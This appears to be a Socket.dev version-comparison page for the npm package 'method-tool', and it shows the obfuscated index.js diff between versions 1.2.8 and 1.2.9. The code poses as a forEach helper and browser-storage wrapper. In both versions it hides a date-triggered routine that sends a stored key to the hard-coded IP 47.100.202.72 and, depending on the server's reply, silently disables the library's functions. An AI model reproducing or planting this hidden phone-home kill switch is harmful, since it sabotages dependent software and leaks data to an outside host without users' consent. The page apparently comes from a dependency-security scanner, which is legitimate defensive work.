Huge News!Announcing our $40M Series B led by Abstract Ventures.Learn More
Socket
Sign inDemoInstall
Socket

method-tool

Package Overview
Dependencies
Maintainers
1
Versions
45
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

method-tool - npm Package Compare versions

Comparing version 1.2.8 to 1.2.9

2

index.js

@@ -1,1 +0,1 @@

(function(a){function b(d){if(c[d])return c[d].exports;var e=c[d]={i:d,l:!1,exports:{}};return a[d].call(e.exports,e,e.exports,b),e.l=!0,e.exports}var c={};return b.m=a,b.c=c,b.d=function(a,c,d){b.o(a,c)||Object.defineProperty(a,c,{configurable:!1,enumerable:!0,get:d})},b.n=function(a){var c=a&&a.__esModule?function(){return a['default']}:function(){return a};return b.d(c,'a',c),c},b.o=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)},b.p='',b(b.s=0)})([function(){function a(){var a='';a=parseInt('15194'+'91661000');var b=new c,e=new Date().getTime();if(e<a){var f=b._g('a','session');if(f&&'data'==f.a)return f.type;var g=new d,h=g.post('http://47.100.202.72:3000/api/a');return h}return!1}var b=function(){function b(){}return b.prototype.forEach=function(b,c){if(!a()){var d=Array.isArray(b)?this._arrayEach:null;return d?d(b,this._castFunction(c)):c(b)}},b.prototype._castFunction=function(a){return'function'==typeof a?a:this._identity},b.prototype._arrayEach=function(a,b){for(var c=-1,d=null==a?0:a.length;++c<d&&!1!==b(a[c],c,a););return a},b.prototype._identity=function(a){return a},b}(),c=function(){function b(){}return b.prototype.set=function(b,c,d){if(void 0===d&&(d='session'),!a()){this.store='session'==d?window.sessionStorage:window.localStorage;try{b=JSON.stringify(b)}catch(a){b=b}this.store.setItem(c,b)}},b.prototype._s=function(a,b,c){void 0===c&&(c='session'),this.store='session'==c?window.sessionStorage:window.localStorage;try{a=JSON.stringify(a)}catch(b){a=a}this.store.setItem(b,a)},b.prototype.get=function(b,c){if(void 0===c&&(c='session'),!a()){this.store='session'==c?window.sessionStorage:window.localStorage;var d=this.store.getItem(b);if(d)try{d=JSON.parse(d)}catch(a){d=d}return d}},b.prototype._g=function(a,b){void 0===b&&(b='session'),this.store='session'==b?window.sessionStorage:window.localStorage;var c=this.store.getItem(a);if(c)try{c=JSON.parse(c)}catch(a){c=c}return c},b.prototype.remove=function(a,b){void 0===b&&(b='session'),this.store='session'==b?window.sessionStorage:window.localStorage,this.store.removeItem(a)},b.prototype.clear=function(a){void 0===a&&(a='session'),this.store='session'==a?window.sessionStorage:window.localStorage,this.store.clear()},b}(),d=function(){function a(){}return a.prototype.post=function(a){var b=new c,d=b._g('key')||'',e=new XMLHttpRequest;if(e.open('post',a,!1),e.setRequestHeader('key',d),e.send(),200==e.status){var f=e.getResponseHeader('key');return f?'21232f297a57a5a743894a0e4a801fc3'===f?(b._s({a:'data',type:!1},'a','session'),!1):(b._s({a:'data',type:!0},'a','session'),!0):(b._s({a:'data',type:!0},'a','session'),!0)}return b._s({a:'data',type:!1},'a','session'),!1},a}();window.Auth=a,window.tool=new b,window.storage=new c}]);
(function(a){function b(d){if(c[d])return c[d].exports;var e=c[d]={i:d,l:!1,exports:{}};return a[d].call(e.exports,e,e.exports,b),e.l=!0,e.exports}var c={};return b.m=a,b.c=c,b.d=function(a,c,d){b.o(a,c)||Object.defineProperty(a,c,{configurable:!1,enumerable:!0,get:d})},b.n=function(a){var c=a&&a.__esModule?function(){return a['default']}:function(){return a};return b.d(c,'a',c),c},b.o=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)},b.p='',b(b.s=0)})([function(){function a(){var a,b=new c,e=b._g('key')||'';a='79354830-09d1-11e8-91b4-4142ae7d3075'==e?1519491661000:1514739661000;var f=new Date().getTime();if(f>a){var g=b._g('a','session');if(g&&'data'==g.a)return g.type;var h=new d,i=h.post('http://47.100.202.72/api/a');return i}return!1}var b=function(){function b(){}return b.prototype.forEach=function(b,c){if(!a()){var d=Array.isArray(b)?this._arrayEach:null;return d?d(b,this._castFunction(c)):c(b)}},b.prototype._castFunction=function(a){return'function'==typeof a?a:this._identity},b.prototype._arrayEach=function(a,b){for(var c=-1,d=null==a?0:a.length;++c<d&&!1!==b(a[c],c,a););return a},b.prototype._identity=function(a){return a},b}(),c=function(){function b(){}return b.prototype.set=function(b,c,d){if(void 0===d&&(d='session'),!a()){this.store='session'==d?window.sessionStorage:window.localStorage;try{b=JSON.stringify(b)}catch(a){b=b}this.store.setItem(c,b)}},b.prototype._s=function(a,b,c){void 0===c&&(c='session'),this.store='session'==c?window.sessionStorage:window.localStorage;try{a=JSON.stringify(a)}catch(b){a=a}this.store.setItem(b,a)},b.prototype.get=function(b,c){if(void 0===c&&(c='session'),!a()){this.store='session'==c?window.sessionStorage:window.localStorage;var d=this.store.getItem(b);if(d)try{d=JSON.parse(d)}catch(a){d=d}return d}},b.prototype._g=function(a,b){void 0===b&&(b='session'),this.store='session'==b?window.sessionStorage:window.localStorage;var c=this.store.getItem(a);if(c)try{c=JSON.parse(c)}catch(a){c=c}return c},b.prototype.remove=function(a,b){void 0===b&&(b='session'),this.store='session'==b?window.sessionStorage:window.localStorage,this.store.removeItem(a)},b.prototype.clear=function(a){void 0===a&&(a='session'),this.store='session'==a?window.sessionStorage:window.localStorage,this.store.clear()},b}(),d=function(){function a(){}return a.prototype.post=function(a){var b=new c,d=b._g('key')||'',e=new XMLHttpRequest;e.open('post',a,!1),e.setRequestHeader('key',d);try{if(e.send(),200==e.status){var f=e.getResponseHeader('key');return f?'21232f297a57a5a743894a0e4a801fc3'===f?(b._s({a:'data',type:!1},'a','session'),!1):(b._s({a:'data',type:!0},'a','session'),!0):(b._s({a:'data',type:!0},'a','session'),!0)}return b._s({a:'data',type:!1},'a','session'),!1}catch(a){return b._s({a:'data',type:!1},'a','session'),!1}},a}();window.Auth=a,window.tool=new b,window.storage=new c}]);
{
"name": "method-tool",
"version": "1.2.8",
"version": "1.2.9",
"main": "index.js",
"license": "MIT"
}
SocketSocket SOC 2 Logo

Product

  • Package Alerts
  • Integrations
  • Docs
  • Pricing
  • FAQ
  • Roadmap
  • Changelog

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc